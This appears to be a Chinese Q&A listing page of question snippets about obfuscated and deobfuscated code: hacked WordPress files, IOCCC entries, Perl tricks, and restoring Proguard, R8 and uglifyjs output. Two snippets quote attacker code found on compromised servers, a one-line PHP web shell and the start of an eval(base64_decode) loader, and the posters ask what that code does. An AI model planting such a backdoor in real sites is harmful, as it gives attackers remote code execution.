10得票2回答
WordPress被黑客攻击:这个脚本到底是做什么的?

我维护了三个WordPress博客,昨天早上它们都被黑客攻击了。在所有的index.php文件中,第一行看起来如下: <?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2...

10得票4回答
IOCCC 1984/decot.c - 它能在21世纪编译吗?

这段有趣的代码是在国际混淆C代码大赛的第一届 (1984) 中展示的: http://www.ioccc.org/years.html#1984 (decot) 在清除预处理器滥用和由goto语句和一些狡猾注释导致的未使用代码的残骸后,你最终得到了以下幸存的代码(如果我错了,请纠正我!):...

9得票3回答
用实际的变量名称/字符串替换数组映射变量?

我正在尝试编辑一个Greasemonkey/jQuery脚本。这里不能发布链接。 代码经过混淆并使用minify进行压缩。 它的开头是这样的: var _0x21e9 = ["\x67\x65\x74\x4D\x6F\x6E\x74\x68", "\x67\x65\x74\x55\x54\x...

9得票1回答
这段Perl代码是如何工作的?

我找到了这个Perl程序: ''=~('(?{'.(']])@+}'^'-/@._]').'"'.('/<[*-_<+>?}{>]@}+@}]])@+}@<[*-_<+>?}{>]@^'^'`^=_^<]_[[]+[/,]_/]-/@._...

9得票1回答
在Perl中实现高级文件读取技巧

我正在寻找在Perl中高效读取文件的方法,然后发现了这个非常有趣的一行代码: my $text = do { local (@ARGV, $/) = $file; <> }; 我的问题是:这个到底是如何工作的?通常在读取文件时,您会将$/ = undef,但我不知道这个代码片...

9得票3回答
发现黑客留下的代码,但不知道它的作用是什么

我发现在我的其中一个PHP文件中,黑客留下了一行脚本。它的内容是这样的: <?php ($_=@$_GET[2]).@$_($_POST[1]); ?> 能否有人给一些提示,说明这行代码是做什么的?谢谢。

9得票1回答
如何解密R8堆栈跟踪?

我有一个应用程序,它就像每个好应用程序一样会崩溃! 不久前,Android构建工具开始使用R8代替Proguard。它有效并加快了我的构建速度,所以我没有改变它。然后出现了一个异常堆栈跟踪,我必须对其进行反混淆。我使用了proguard UI、retrace.bat脚本和命令行,但是被认为已经...

8得票2回答
谷歌Play开发控制台显示堆栈跟踪中的类和方法名

我有一个启用了Proguard的应用程序(minifyenabled为true),最近在Google Play Dev控制台上收到了崩溃报告。当我查看时,我看到以下内容: 我很惊讶在启用了Proguard之后,在第一行看到了完整的类和方法名称。以前我总是看到这样的东西: at com...

8得票4回答
从uglifyjs源映射中恢复javascript源代码

我正在逆向分析一个神奇的脚本。我有一个由uglifyjs生成的丑化源代码和源映射。 有没有人知道任何简单明了的方法来从中实现至少部分可读的源代码?我发现了一些晦涩的方法,包括通过多种语言进行转换,但我希望存在更好的方法。 谢谢!

8得票1回答
Crashlytics无法对代码进行反混淆

我刚接触Crashlytics,遇到了一个问题,它没有对我的堆栈跟踪进行解混淆。根据Crashlytics的说法,这应该是自动发生的。它应该使用包含在.apk文件中的mappings.txt文件来解密堆栈跟踪。我有一些关于整个过程以及如何解决问题的问题。 1)mappings.txt文件应该...